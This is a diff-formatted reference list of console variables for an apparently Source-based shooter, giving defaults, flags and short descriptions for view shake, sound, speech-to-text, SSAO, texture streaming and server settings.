+shake_angleFactor_human + + + +default: `"1.0"` +flags: `0x2` +
+
+shake_angleFactor_titan + + + +default: `"1.0"` +flags: `0x2` +
+
+shake_basicPitchFactor + + + +default: `"0.20"` +flags: `0x2` +
+
+shake_basicRandomRollFactor + + + +default: `"0.15"` +flags: `0x2` +
+
+shake_offsetFactor_human + + + +default: `"1.0"` +flags: `0x2` +
+
+shake_offsetFactor_titan + + + +default: `"1.0"` +flags: `0x2` +
+
+shake_viewmodelFactor_ads_human + + + +default: `"0.01"` +flags: `0x2` +
+
+shake_viewmodelFactor_ads_titan + + + +default: `"0.10"` +flags: `0x2` +
+
+shake_viewmodelFactor_human + + + +default: `"0.10"` +flags: `0x2` +
+
+shake_viewmodelFactor_titan + + + +default: `"0.10"` +flags: `0x2` +
+
+showfps_enabled + + + +default: `"0"` +flags: `0x80000` +
+
+showfps_heightpercent + + + +default: `"0.25"` +flags: `0x2` +
+
+showfps_mouse_latency + +If 1 showfps_enabled will show mouse input latency instead of the time from before the move command. + +default: `"1"` +flags: `0x2` +
+
+showfps_smoothtime + + + +default: `"0.5"` +flags: `0x2` +
+
+showfps_spinner + + + +default: `"0"` +flags: `0x2` +
+
+showmem_enabled + + + +default: `"0"` +flags: `0x80000` +
+
+showmem_mode_bottom + +Mode 0 is total free memory(excluding garlic), 1 is small block heap, 2 is Client Script, 3 is UI Script + +default: `"3"` +flags: `0x80000` +
+
+showmem_mode_top + +Mode 0 is total free memory(excluding garlic), 1 is small block heap, 2 is Client Script, 3 is UI Script + +default: `"0"` +flags: `0x80000` +
+
+showmemnumstats + +Display On-Screen Numerical Memory Information + +default: `"0"` +flags: `0x2` +min value: `0` +
+
+showmemnumstatsrefresh + +Refresh rate of querying the os for memory information in milliseconds. + +default: `"500"` +flags: `0x2` +min value: `0` +
+
+shownet_enabled + + + +default: `"0"` +flags: `0x80000` +
+
+showsnapshot_enabled + + + +default: `"0"` +flags: `0x80000` +
+
+sidearmSwapSelectCooldown + + + +default: `"0.25"` +flags: `0x2` +
+
+sidearmSwapSelectDoubleTapTime + + + +default: `"0.25"` +flags: `0x2` +
+
+single_frame_shutdown_for_reload + + + +default: `"1"` +flags: `0x2` +
+
+singlestep + +Run engine in single step mode ( set next to 1 to advance a frame ) + +default: `"0"` +flags: `0x4000` +
+
+skill_arena + +The arena that skill should be read from / written to (eg. fnf, experimental, etc) + +default: `""` +flags: `0x2` +
+
+skill_dediOnly + +Only do skill for dedicated servers + +default: `"0"` +flags: `0x2` +
+
+skill_enabled + + + +default: `"1"` +flags: `0x2` +
+
+skill_hostname + + + +default: `""` +flags: `0x80000` +
+
+skip_jump_height_fraction + +Jump height fraction when skipping + +default: `"1.0"` +flags: `0x2002` +
+
+skip_jump_height_speed + +Jump height loss only applies above this speed + +default: `"450"` +flags: `0x2002` +
+
+skip_replenish_double_jump + +Whether the player can double jump after skipping + +default: `"1"` +flags: `0x2002` +
+
+skip_sounds + +Enables skip-specific sounds + +default: `"0"` +flags: `0x2002` +
+
+skip_speed_reduce + +Speed lost when skipping + +default: `"100"` +flags: `0x2002` +
+
+skip_speed_retain + +Speed loss doesn't go below this + +default: `"-1"` +flags: `0x2002` +
+
+skip_time + +Time after landing that is considered "skipping" if the player jumps again + +default: `"1.0"` +flags: `0x2002` +
+
+sleep_when_meeting_framerate + +Sleep instead of spinning if we're meeting the desired framerate. + +default: `"1"` +flags: `0x2` +
+
+sleep_when_meeting_framerate_headroom_ms + +Only sleep if the current frame has at least this much time remaining, otherwise spin. + +default: `"2.25"` +flags: `0x2` +
+
+slide_auto_stand + +Automatically stand when slide ends + +default: `"0"` +flags: `0x2002` +
+
+slide_max_angle_dot + +Cosine of max angle from forward that you can slide when sprinting + +default: `"0.6"` +flags: `0x2002` +
+
+slide_step_velocity_reduction + +Velocity reduction when going up a step (is multiplied by step height) + +default: `"10"` +flags: `0x2002` +
+
+slide_viewTiltDecreaseSpeed + +Speed at which view tilt decreases while sliding in degrees per second + +default: `"2.5"` +flags: `0x2` +
+
+slide_viewTiltIncreaseSpeed + +Speed at which view tilt increases while sliding in degrees per second + +default: `"5"` +flags: `0x2` +
+
+slide_viewTiltPlayerSpeed + +Speed at which view tilt is full while sliding + +default: `"400"` +flags: `0x2` +
+
+slide_viewTiltSide + +View tilt when looking to the side while sliding in degrees + +default: `"15"` +flags: `0x2` +
+
+slide_whileInAir + +Allows beginning a slide (including the boost) while still in the air + +default: `"0"` +flags: `0x2002` +
+
+slowconsolelog_old_logic + +Flush console.log after each write. + +default: `"0"` +flags: `0x2` +
+
+smoothstairs_lunge + + + +default: `"0"` +flags: `0x2002` +
+
+sort_opaque_meshes + +Sort opaque meshes front to back to try to improve rendering speed. This may not be worth the CPU cost. + +default: `"0"` +flags: `0x2` +
+
+sound_classic_music + +classic music volume + +default: `"0"` +flags: `0x1000000` +
+
+sound_entity_seek_snap + +Play C_ImporantOnEntSound entity sound from beginning if we get it within this many seconds of its begin time. + +default: `"1.0"` +flags: `0x2` +
+
+sound_musicReduced + + + +default: `"0"` +flags: `0x1000000` +
+
+sound_num_speakers + +2 - headphones or stereo, 6 - 5.1 surround, 8 - 7.1 surround. All other values invalid + +default: `"2"` +flags: `0x80` +
+
+sound_only_warn_on_missing_sound_events_in_client_script + + + +default: `"1"` +flags: `0x2` +
+
+sound_printloaderrors + +Set to 1 to print sound errors on load. + +default: `"1"` +flags: `0x2` +
+
+sound_volume + +master game volume + +default: `"1"` +flags: `0x1000000` +
+
+sound_volume_dialogue + +dialogue volume (mp) + +default: `"1"` +flags: `0x1000000` +
+
+sound_volume_dialogue_sp + +dialogue volume (sp) + +default: `"1"` +flags: `0x2` +
+
+sound_volume_music_game + +music volume in game (mp) + +default: `"1"` +flags: `0x1000000` +
+
+sound_volume_music_game_sp + +music volume in game (sp) + +default: `"1"` +flags: `0x2` +
+
+sound_volume_music_lobby + +music volume in lobby + +default: `"1"` +flags: `0x1000000` +
+
+sound_volume_sfx + +sound effect volume (mp) + +default: `"1"` +flags: `0x1000000` +
+
+sound_volume_sfx_sp + +sound effect volume (sp) + +default: `"1"` +flags: `0x2` +
+
+sound_volume_voice + +voice chat volume + +default: `"1"` +flags: `0x80` +
+
+sound_without_focus + +Play sounds even when the app doesn't have focus. + +default: `"0"` +flags: `0x1000000` +
+
+soundscape_fadetime + +Time to crossfade sounds between soundscapes + +default: `"2.0"` +flags: `0x4000` +
+
+soundscape_message + + + +default: `"0"` +flags: `0x2` +
+
+soundscape_radius_debug + +Prints current volume of radius sounds + +default: `"0"` +flags: `0x4000` +
+
+soundtrigger_repeat_interval + +Decides how long to wait before repeating a soundtrigger event on the given player. Set to 0 to wait until the current sound ends. + +default: `"0"` +flags: `0x2` +
+
+sp_not_focus_pause + +Pause the singleplayer game when the window is not in focus + +default: `"1"` +flags: `0x2` +
+
+spam_skinning_matrices_used + + + +default: `"0"` +flags: `0x2` +
+
+spam_skinning_matrices_used_detailed + + + +default: `"0"` +flags: `0x2` +
+
+spatial_partition_deadlock_assert + + + +default: `"1"` +flags: `0x2002` +
+
+spectator_command_interval + +Specify the minimum time between spectator command. + +default: `"0"` +flags: `0x2` +
+
+speech_queue_bytes + + + +default: `"33000"` +flags: `0x2` +
+
+speechtotext_audioenabled + + + +default: `"0"` +flags: `0x2` +
+
+speechtotext_enabled + + + +default: `"0"` +flags: `0x1000000` +
+
+speechtotext_forcedisabled + + + +default: `"0"` +flags: `0x2` +
+
+speechtotext_hostname + + + +default: `"gateway-wdc.watsonplatform.net"` +flags: `0x2` +
+
+speechtotext_msg_droptimeout + + + +default: `"30.0"` +flags: `0x2` +
+
+speechtotext_path + + + +default: `"speech-to-text/api/v1/recognize?profanity_filter=true&smart_formatting=true"` +flags: `0x2` +
+
+speechtotext_quiettime + + + +default: `"1.0"` +flags: `0x2` +
+
+speechtotext_stats_errorspermin + + + +default: `"5"` +flags: `0x2` +
+
+speechtotext_stats_interval + + + +default: `"60.0"` +flags: `0x2` +
+
+speechtotext_stats_senderrors + + + +default: `"1"` +flags: `0x2` +
+
+speechtotext_stats_sendrequests + + + +default: `"1"` +flags: `0x2` +
+
+speechtotext_stats_sendsuccess + + + +default: `"1"` +flags: `0x2` +
+
+speechtotexttoken_hostname + + + +default: `""` +flags: `0x80000` +
+
+speex_audio_recording + + + +default: `"0"` +flags: `0x2` +
+
+speex_audio_value + + + +default: `"0"` +flags: `0x2` +
+
+speex_preprocess_agc_max_gain + +Set maximal gain in dB. ( High values Risks swamping noise filter) + +default: `"13"` +flags: `0x2` +
+
+speex_preprocess_noise_suppress + +Set maximum attenuation of the noise in dB (negative number) + +default: `"-20"` +flags: `0x2` +
+
+speex_preprocess_set_agc_decrenment + +Set maximal gain decrease in dB/second. + +default: `"-10"` +flags: `0x2` +
+
+speex_preprocess_set_agc_increment + +Set maximal gain increase in dB/second. + +default: `"1"` +flags: `0x2` +
+
+speex_preprocess_set_agc_target + +Set Automatic Gain Control target. 0/32767 + +default: `"8000"` +flags: `0x2` +
+
+speex_quiet_threshold + + + +default: `"1300"` +flags: `0x80` +
+
+speex_quiet_window + + + +default: `"40"` +flags: `0x2` +
+
+speex_set_enh + +Set enhancement on/off (decoder only) + +default: `"1"` +flags: `0x2` +
+
+speex_use_highpass + +Controlls the running o a lowpass filter do help remove DC. + +default: `"1"` +flags: `0x2` +
+
+speex_use_preproser + +Controls the running of voice preprocessor. + +default: `"1"` +flags: `0x2` +
+
+spinner_debug_info + + + +default: `"0"` +flags: `0x2` +
+
+sprint_powerdrain + + + +default: `"0"` +flags: `0x2002` +
+
+sprint_view_shake_style + + + +default: `"0"` +flags: `0x41000000` +
+
+sprinttilt_accel + +Acceleration of sprint view tilt fraction + +default: `"35"` +flags: `0x2002` +
+
+sprinttilt_maxvel + +Maximum speed of sprint view tilt + +default: `"2"` +flags: `0x2002` +
+
+sprinttilt_turnrange + +Max turn rate that creates view tilt when sprinting + +default: `"120"` +flags: `0x2002` +
+
+ss_enable + +Enables Split Screen support. Play Single Player now launches into split screen mode. NO ONLINE SUPPORT + +default: `"0"` +flags: `0x2` +
+
+ss_force_primary_fullscreen + +If enabled, all splitscreen users will only see the first user's screen full screen + +default: `"0"` +flags: `0x2` +
+
+ss_mimic + +Split screen users mimic base player's CUserCmds + +default: `"0"` +flags: `0x4002` +
+
+ss_splitmode + +Two player split screen mode (0 - recommended settings base on the width, 1 - horizontal, 2 - vertical (only allowed in widescreen) + +default: `"0"` +flags: `0x2` +
+
+ss_verticalsplit + +Two player split screen uses vertical split (do not set this directly, use ss_splitmode instead). + +default: `"0"` +flags: `0x2` +
+
+ss_viewmodelfov + +Client-side viewmodel fov control that is global for all splitscreen players on this machine. This gets overridden via splitscreen_config.txt for splitscreen. + +default: `"54"` +flags: `0x2002` +
+
+ss_voice_hearpartner + +Route voice between splitscreen players on same system. + +default: `"0"` +flags: `0x2` +
+
+ssao_allow_partial + +When it's enabled, Partial SSAO could run when dynamic viewport is smaller than SSAO targets. +It doesn't look good and has a problem of some flickering. Try it with viewportscale_rand to see the problem. + +default: `"0"` +flags: `0x2` +
+
+ssao_blur + + + +default: `"1"` +flags: `0x2` +
+
+ssao_blur_edge_sharpness + + + +default: `"0"` +flags: `0x2` +
+
+ssao_depth_max + + + +default: `"10000"` +flags: `0x2` +
+
+ssao_downsample + +0 = 1:1, 1 = 2:1, 2 = 4:1 + +default: `"0"` +flags: `0x40000000` +
+
+ssao_enabled + + + +default: `"1"` +flags: `0x40000000` +
+
+ssao_exponent + + + +default: `"1.5"` +flags: `0x2` +
+
+ssao_jitter_scale + +in range of [0,1] + +default: `"0.5"` +flags: `0x2` +
+
+ssao_max_res + +SSAO render target size will be enforced to be this size when it's going to be ssao_max_res_threshold or greater + +default: `"1080"` +flags: `0x2` +
+
+ssao_max_res_threshold + +ssao_max_res is enforced when SSAO render target size is at this size or greater + +default: `"1440"` +flags: `0x2` +
+
+ssao_num_directions + + + +default: `"8"` +flags: `0x2` +
+
+ssao_num_steps + + + +default: `"4"` +flags: `0x2` +
+
+ssao_on_everything + + + +default: `"0"` +flags: `0x2` +
+
+ssao_radius + +occlusion hemisphere radius in world space unit + +default: `"118"` +flags: `0x2` +
+
+ssao_radius_in_lobby + +occlusion hemisphere radius in world space unit + +default: `"4"` +flags: `0x2` +
+
+ssao_show + + + +default: `"0"` +flags: `0x2` +
+
+ssao_show + + + +default: `"0"` +flags: `0x2` +
+
+ssao_show + + + +default: `"0"` +flags: `0x2` +
+
+ssao_snap_uv + + + +default: `"1"` +flags: `0x2` +
+
+ssao_tech + +0 = Off, 1 = HBAO, 2 = GTAO uni, 3 = GTAO cos, 4 = HBAO basic, 5 = HBAO1x1, 6 = GTAOuni1x1, 7 = GTAOcos1x1 + +default: `"2"` +flags: `0x2` +
+
+ssao_tech + +0 = Off, 1 = HBAO, 2 = GTAO uni, 3 = GTAO cos, 4 = HBAO basic, 5 = HBAO1x1, 6 = GTAOuni1x1, 7 = GTAOcos1x1 + +default: `"2"` +flags: `0x2` +
+
+ssao_upsample_ranged + +It improves downsampled SSAO quality. it works for GTAO 4x4 mode only. + +default: `"1"` +flags: `0x2` +
+
+startButtonCommand + +What command to send when start is pressed + +default: `"ingamemenu_activate"` +flags: `0x2` +
+
+staticProp_budget + +The maximum number of static props that will be drawn. + +default: `"8192"` +flags: `0x2` +min value: `100` +max value: `8192` +
+
+staticProp_buildlists_on_worker + + + +default: `"0"` +flags: `0x2` +
+
+staticProp_debug_draw + +Orange - regular culled prop. Red - "do not fade" prop Green - out of range + +default: `"0"` +flags: `0x2` +
+
+staticProp_earlyDepthPrepass + + + +default: `"1"` +flags: `0x2` +
+
+staticProp_gather_size_weight + + + +default: `"5"` +flags: `0x2` +
+
+staticProp_max_scaled_dist + + + +default: `"2500"` +flags: `0x2` +
+
+staticProp_no_fade_scalar + + + +default: `"0.7"` +flags: `0x2` +
+
+staticProp_refineDrawOnWorker + +0 - none, 1 - mainview, 2 - depth-prepass, 3 - mainview & depth-prepass + +default: `"3"` +flags: `0x2` +
+
+static_prop_dist_debug_draw + + + +default: `"0"` +flags: `0x2` +
+
+static_shadow + +0 : off, 1 : generate once, 2 : minimum update with cache, 3 : update dirty rects with cache, 4 : update dirty rects without cache, 5 : always refresh + +default: `"3"` +flags: `0x2` +
+
+static_shadow + +0 : off, 1 : generate once, 2 : minimum update with cache, 3 : update dirty rects with cache, 4 : update dirty rects without cache, 5 : always refresh + +default: `"3"` +flags: `0x2` +
+
+static_shadow_bounds_per_env + +0 - use world min/max, 1 - use current light environment's head box + +default: `"1"` +flags: `0x2` +
+
+static_shadow_debug_2d + + + +default: `"0"` +flags: `0x2` +
+
+static_shadow_debug_dirty_rects + +only works with static_shadow_debug_2d = 1 + +default: `"0"` +flags: `0x2` +
+
+static_shadow_depth_bias_scale + +only effective on materials with non-zero shadowBiasStatic values + +default: `"1"` +flags: `0x2` +
+
+static_shadow_expand_z + +z range should be inflated to be able to cover flying objects higher than world min/max + +default: `"30000"` +flags: `0x2` +
+
+static_shadow_good_merge_ratio + +merge ratio = merged extent / bigger one's extent. when merge ratio is less than this value, the pair can be merged even when merged extent > m_StaticShadowMaxExtentForDirtyRect + +default: `"1.01"` +flags: `0x2` +
+
+static_shadow_good_merge_score + +score = merged extent + wasted extent, where 4.0 is full screen + +default: `"0.1"` +flags: `0x2` +
+
+static_shadow_prop_min_size + +Minimum size of prop to be drawn in static shadow + +default: `"40.0"` +flags: `0x2` +
+
+static_shadow_res + +Set the static shadow maps rendertarget resolution + +default: `"4096"` +flags: `0x2` +
+
+static_shadow_shrink_culler + + + +default: `"1"` +flags: `0x2` +
+
+static_shadow_use_d16 + + + +default: `"1"` +flags: `0x2` +
+
+static_shadow_uses_shadow_lod + + + +default: `"1"` +flags: `0x2` +
+
+staticfile_hostname + + + +default: `""` +flags: `0x80000` +
+
+stats_hostname + + + +default: `""` +flags: `0x80000` +
+
+status_effect_warning_level + +Set to 0 for nothing, 1 for warnings, 2 for script errors + +default: `"1"` +flags: `0x2002` +
+
+steam_crossProgression + + + +default: `"0"` +flags: `0x2` +
+
+steam_debug + +Enable Steam HTTP debug logging + +default: `"0"` +flags: `0x2` +
+
+steam_id + + + +default: `""` +flags: `0x12` +
+
+steam_name + + + +default: `""` +flags: `0x12` +
+
+steamlink_hostname + + + +default: `""` +flags: `0x2` +
+
+stream_addnoise + +Adds corruption to streamed-in MIP levels for debugging. + +default: `"0"` +flags: `0x2` +
+
+stream_bsp_bucket_bias + +Tweak MIP of BSP coverage (higher = blurrier mips) + +default: `"-0.5"` +flags: `0x2` +
+
+stream_bsp_dist_scale + +Scale BSP coverage (relative to models) (higher = more important) + +default: `"100"` +flags: `0x2` +
+
+stream_cache_capacity + +Stream Cache Capacity in MiB + +default: `"400"` +flags: `0x2` +
+
+stream_cache_capacity_while_loading + +Stream Cache Capacity in MiB while loading, if < 0 will be ignored. + +default: `"200"` +flags: `0x2` +
+
+stream_cache_high_priority_static_models + +Try never to drop (and always prioritize loading) static model geo. + +default: `"1"` +flags: `0x2` +
+
+stream_cache_multithreaded + +Use jobs to do upload for model geo. + +default: `"1"` +flags: `0x2` +
+
+stream_cache_preload_from_rpak + +0 = Never preload; 1 = Preload static models + +default: `"1"` +flags: `0x2` +
+
+stream_cache_read_buffer_cap + +Concurrent read buffer capacity in MiB. + +default: `"32"` +flags: `0x2` +
+
+stream_cache_read_count_cap + +Concurrent read limit. + +default: `"24"` +flags: `0x2` +
+
+stream_cache_speculative_add_level + +Attempt to add models to reach this fraction of stream_cache_capacity. + +default: `"0.75"` +flags: `0x2` +
+
+stream_cache_speculative_drop + +Attempt to drop models to reach this fraction of stream_cache_capacity. + +default: `"0.9"` +flags: `0x2` +
+
+stream_drop_unused + +Drop unused textures aggressively + +default: `"0"` +flags: `0x2` +
+
+stream_enable + +Enable texture streaming + +default: `"1"` +flags: `0x2` +
+
+stream_freeze_camera + +Freezes camera for purposes of streaming map textures. + +default: `"0"` +flags: `0x2` +
+
+stream_load_after_drop + +Allow us to continue loading in a frame after dropping any textures. + +default: `"0"` +flags: `0x2` +
+
+stream_memory + +Stream memory to target (in kb). + +default: `"300000"` +flags: `0x40000000` +
+
+stream_memory_ignore + +Ignore stream_memory limit when streaming is enabled. + +default: `"0"` +flags: `0x40000002` +
+
+stream_memory_ignore_vram + +Ignore vram size when setting streaming buffer size. + +default: `"0"` +flags: `0x2` +
+
+stream_memory_min + +Minimum streaming memory (in kb). + +default: `"0"` +flags: `0x40000000` +
+
+stream_memory_while_loading + +Stream memory to target (in kb). + +default: `"0"` +flags: `0x2` +
+
+stream_mode + +Stream mode: default all none + +default: `"default"` +flags: `0x40000002` +
+
+stream_never_high_priority_frac + +Never assign 'high priority' to a texture that uses more than this fraction of total streaming buffer. + +default: `"0.0125"` +flags: `0x2` +
+
+stream_overlay + +Texture streaming debug overlay. + +default: `"0"` +flags: `0x2` +
+
+stream_overlay_mode + +Which debug view to show (tex mtl bsp short) + +default: `"short"` +flags: `0x2` +
+
+stream_pause + +Pause texture streaming + +default: `"0"` +flags: `0x2` +
+
+stream_picmip + +Picmip used when stream mode is picmip. (Or the map doesn't have streaming data.) + +default: `"2"` +flags: `0x2` +
+
+stream_resource_max_commits_per_frame + +Cap on number of streaming texture commits allowed in a GPU frame. (0 disables cap) + +default: `"2"` +flags: `0x2` +
+
+stream_resource_thread + +Create resources on separate thread, and delay copy and binding of those resources. + +default: `"1"` +flags: `0x2` +
+
+stream_resource_wait_copy_to_commit + +Number of frames to wait between copying old texture data and actually using a new texture. + +default: `"0"` +flags: `0x2` +
+
+stream_resource_wait_creation_to_copy + +Number of frames to wait between creating a texture and copying old texture data in. + +default: `"0"` +flags: `0x2` +
+
+stream_resource_wait_for_additional_gpus + +Enable to reset the commit counter less frequently when you have multiple GPUs. + +default: `"1"` +flags: `0x2` +
+
+stream_temp_abort_old_inner_loop + +Temp stability - don't check for IST_ABORTED before calling Gfx_TextureAsset_EndAddMipLevels_Failed + +default: `"0"` +flags: `0x2` +
+
+stream_temp_old_abort_all_behavior + +Temp stability - StreamedDataManager_AbortStreamingTexture( true ) has broken (abort just one) behavior. + +default: `"0"` +flags: `0x2` +
+
+stream_temp_skip_abort_all + +Temp stability - call to StreamedDataManager_AbortStreamingTexture( true ) does nothing + +default: `"0"` +flags: `0x2` +
+
+stringtable_alwaysrebuilddictionaries + +Rebuild dictionary file on every level load + + +default: `"0"` +flags: `0x2` +
+
+stringtable_compress + +Compress string table for networking + + +default: `"0"` +flags: `0x2` +
+
+stringtable_showsizes + +Show sizes of string tables when building for signon + + +default: `"0"` +flags: `0x2` +
+
+stryder_forceOriginUsersInvisible + + + +default: `"0"` +flags: `0x2` +
+
+stryder_security + + + +default: `""` +flags: `0x80000200` +
+
+stuck_debugging + +Debug getting stuck + +default: `"0"` +flags: `0x2002` +
+
+stuck_debugging_world_only + +Only check for stuck in world geo + +default: `"0"` +flags: `0x2002` +
+
+studiobonecache_unlimited + + + +default: `"1"` +flags: `0x2002` +
+
+subscription_hostname + + + +default: `""` +flags: `0x2` +
+
+superjump_disabled_from_water + + + +default: `"0"` +flags: `0x2002` +
+
+superjump_drain_power_onfail + + + +default: `"0"` +flags: `0x2002` +
+
+superjump_fail_sound_when_jump_limit + + + +default: `"1"` +flags: `0x2002` +
+
+superjump_limit + + + +default: `"0"` +flags: `0x2002` +
+
+superjump_limitreset_onwallrun + + + +default: `"1"` +flags: `0x2002` +
+
+superjump_max_power_use + + + +default: `"100"` +flags: `0x2002` +
+
+superjump_min_height_fraction + +Minimum fraction of desired superjump height that is acheived, even if already moving quickly upwards + +default: `"0.25"` +flags: `0x2002` +
+
+superjump_min_power_use + + + +default: `"0"` +flags: `0x2002` +
+
+superjump_powerreset_onground + + + +default: `"1"` +flags: `0x2002` +
+
+sv_airaccelerate + + + +default: `"10"` +flags: `0x2002` +
+
+sv_allTicksFinal + + + +default: `"0"` +flags: `0x2` +
+
+sv_allowSendTableTransmitToClients + +Allow transmission of sendtable data to clients. + +default: `"1"` +flags: `0x2` +
+
+sv_allowSpectatorClients + + + +default: `"0"` +flags: `0x2` +
+
+sv_asyncSendSnapshot + + + +default: `"0"` +flags: `0x2` +
+
+sv_backspeed + +How much to slow down backwards motion + +default: `"0.6"` +flags: `0x2002` +
+
+sv_balanceTeams + + + +default: `"1"` +flags: `0x2` +
+
+sv_bounce + +Bounce multiplier for when physically simulated objects collide with other objects. + +default: `"0"` +flags: `0x2002` +
+
+sv_cheats + +Allow cheats on server + +default: `"0"` +flags: `0x82000` +
+
+sv_checkPropBudgets + + + +default: `"1"` +flags: `0x2` +
+
+sv_compressPlaylists + + + +default: `"1"` +flags: `0x2` +
+
+sv_compressTimeValEpsilon + + + +default: `"0.0005"` +flags: `0x2` +
+
+sv_compressTimeVals + + + +default: `"1"` +flags: `0x2` +
+
+sv_connectingClientDelay + +Amount of time to wait between resends of data to a connecting client + +default: `"3"` +flags: `0x2` +
+
+sv_debug_prop_send + + + +default: `"0"` +flags: `0x2` +
+
+sv_debugmanualmode + +Make sure entities correctly report whether or not their network data has changed. + +default: `"0"` +flags: `0x2` +
+
+sv_disconnectOnScriptError + + + +default: `"1"` +flags: `0x2` +
+
+sv_disconnectOnTooManySnapshotFrames + +Disconnect client when the server has sent 128 snapshot messages to client without the server getting any message from the client. + +default: `"1"` +flags: `0x2` +
+
+sv_dumpstringtables + + + +default: `"0"` +flags: `0x4000` +
+
+sv_earlyPersistenceRead + +Should the server try to read persistence earlier in the connection process + + +default: `"0"` +flags: `0x80000` +
+
+sv_everyThirdTick + +Do networking every third tick, regardless of how backed up we are + + +default: `"0"` +flags: `0x2` +
+
+sv_extra_client_connect_time + +Seconds after client connect during which extra frames are buffered to prevent non-delta'd update + +default: `"60.0"` +flags: `0x2` +
+
+sv_fakeClientBaseId + +Base platform user ID for created fake clients. Useful, for example, when running multiple dedis with matchmaking bots; create a different base for each dedi to get unique IDs -- matchmaking uses user IDs as a primary key. + +default: `"9990000"` +flags: `0x26` +
+
+sv_footsteps + +Play footstep sound for players + +default: `"1"` +flags: `0x2002` +
+
+sv_friction + +World friction. (Equivalent player setting is in player settings files) + +default: `"4"` +flags: `0x2002` +
+
+sv_gravity + +World gravity. + +default: `"750"` +flags: `0x2002` +
+
+sv_hibernate_ms + +# of milliseconds to sleep per frame while hibernating + +default: `"5"` +flags: `0x2` +
+
+sv_hibernate_ms_vgui + +# of milliseconds to sleep per frame while hibernating but running the vgui dedicated server frontend + +default: `"5"` +flags: `0x2` +
+
+sv_hibernate_postgame_delay + +# of seconds to wait after final client leaves before hibernating. + +default: `"5"` +flags: `0x2` +
+
+sv_hibernate_when_empty + +Puts the server into extremely low CPU usage mode when no clients connected + +default: `"0"` +flags: `0x2` +
+
+sv_infinite_ammo + + + +default: `"0"` +flags: `0x2002` +
+
+sv_instancebaselines + +Enable instanced baselines. Saves network overhead. + +default: `"1"` +flags: `0x2` +
+
+sv_loadMapModelEarly + + + +default: `"0"` +flags: `0x2` +
+
+sv_lobbyType + + + +default: `"0"` +flags: `0x2002` +
+
+sv_max_prop_data_dwords_lobby + +Maximum amount of prop data per-snapshot in dwords (huge lobby) + +default: `"300000"` +flags: `0x2` +
+
+sv_max_prop_data_dwords_multiplayer + +Maximum amount of prop data per-snapshot in dwords (huge multiplayer) + +default: `"2500000"` +flags: `0x2` +
+
+sv_max_prop_data_dwords_singleplayer + +Maximum amount of prop data per-snapshot in dwords (singleplayer) + +default: `"400000"` +flags: `0x2` +
+
+sv_max_props_lobby + +Maximum amount of props per-snapshot (lobby) + +default: `"250000"` +flags: `0x2` +
+
+sv_max_props_multiplayer + +Maximum number of props per-snapshot (huge multiplayer) + +default: `"1250000"` +flags: `0x2` +
+
+sv_max_props_singleplayer + +Maximum number of props per-snapshot (singleplayer) + +default: `"300000"` +flags: `0x2` +
+
+sv_max_snapshots_lobby + +Maximum number of snapshots for the lobby + +default: `"100"` +flags: `0x2` +
+
+sv_max_snapshots_multiplayer + +Maximum number of snapshots for multiplayer levels + +default: `"160"` +flags: `0x2` +
+
+sv_max_snapshots_singleplayer + +Maximum number of snapshots for singleplayer levels + +default: `"10"` +flags: `0x2` +
+
+sv_maxclientframes + + + +default: `"300"` +flags: `0x2` +
+
+sv_maxrate + +Max bandwidth rate allowed on server, 0 == unlimited + +default: `"0"` +flags: `0x82000` +min value: `0` +max value: `1000000000` +
+
+sv_maxroutable + +Server upper bound on net_maxroutable that a client can use. + +default: `"1200"` +flags: `0x2` +min value: `576` +max value: `1200` +
+
+sv_maxspeed + + + +default: `"320"` +flags: `0x2002` +
+
+sv_maxupdaterate + +Maximum updates per second that the server will allow + +default: `"60"` +flags: `0x2002` +
+
+sv_maxvelocity + +Maximum speed any ballistically moving object is allowed to attain per axis. + +default: `"34000"` +flags: `0x2002` +
+
+sv_minrate + +Min bandwidth rate allowed on server, 0 == unlimited + +default: `"128000"` +flags: `0x82000` +min value: `0` +max value: `1000000000` +
+
+sv_minupdaterate + +Minimum updates per second that the server will allow + +default: `"1"` +flags: `0x2002` +
+
+sv_optimizedmovement + + + +default: `"1"` +flags: `0x2002` +
+
+sv_parallel_sendsnapshot + + + +default: `"1"` +flags: `0x2` +
+
+sv_pausable + +Whether the server is allowed to pause + +default: `"0"` +flags: `0x4000` +
+
+sv_playerNameAppendCheater + + + +default: `"1"` +flags: `0x2` +
+
+sv_players + + + +default: `"1"` +flags: `0x2012` +
+
+sv_printHighWaterMark + + + +default: `"0"` +flags: `0x2` +
+
+sv_pushaway_accel + +How hard physics objects are pushed away from the players. + +default: `"400"` +flags: `0x2002` +
+
+sv_pushaway_clientside + +Clientside physics push away (0=off, 1=only localplayer, 2=all players) + +default: `"2"` +flags: `0x2002` +
+
+sv_pushaway_clientside_size + +Physics props below this size are made client side + +default: `"1000"` +flags: `0x2002` +
+
+sv_pushaway_debug + +Debug physics object pushaway + +default: `"0"` +flags: `0x2002` +
+
+sv_pushaway_dist + +Max distance at which physics objects are pushed from players. + +default: `"15"` +flags: `0x2002` +
+
+sv_pushaway_min_player_speed + +If a player is moving slower than this, don't push away physics objects (enables ducking behind things). + +default: `"75"` +flags: `0x2002` +
+
+sv_pushaway_player_accel + +How hard the player is pushed away from physics objects + +default: `"3000"` +flags: `0x6002` +
+
+sv_pushaway_player_dist + +Max distance at which player is pushed from physics objects + +default: `"5"` +flags: `0x6002` +
+
+sv_rejectClientConnects + + + +default: `"0"` +flags: `0x2` +
+
+sv_rejectConnections + + + +default: `"0"` +flags: `0x2` +
+
+sv_rejectInvalidStryderSecurityToken + + + +default: `"1"` +flags: `0x22` +
+
+sv_requireOriginToken + + + +default: `"1"` +flags: `0x2` +
+
+sv_resendSignonData + + + +default: `"0"` +flags: `0x2` +
+
+sv_rollangle + +Max view roll angle + +default: `"0"` +flags: `0x2002` +
+
+sv_rollspeed + + + +default: `"200"` +flags: `0x2002` +
+
+sv_runSpatialOptimizeInJob + + + +default: `"1"` +flags: `0x2` +
+
+sv_scarySnapDeltaPrints + + + +default: `"50"` +flags: `0x2` +
+
+sv_sendEarlyServerInfo + + + +default: `"0"` +flags: `0x2` +
+
+sv_sendReplayNetMessagesOnNoDeltaSnaps + + + +default: `"0"` +flags: `0x2` +
+
+sv_separate_freq_change_prop_send + + + +default: `"1"` +flags: `0x2` +
+
+sv_showClientTickCmds + + + +default: `"0"` +flags: `0x2` +
+
+sv_showLargeSnapshotSize + + + +default: `"10000"` +flags: `0x2` +
+
+sv_showSnapshots + + + +default: `"0"` +flags: `0x2` +
+
+sv_showUserCmds + + + +default: `"0"` +flags: `0x2` +
+
+sv_single_core_dedi + + + +default: `"0"` +flags: `0x2` +
+
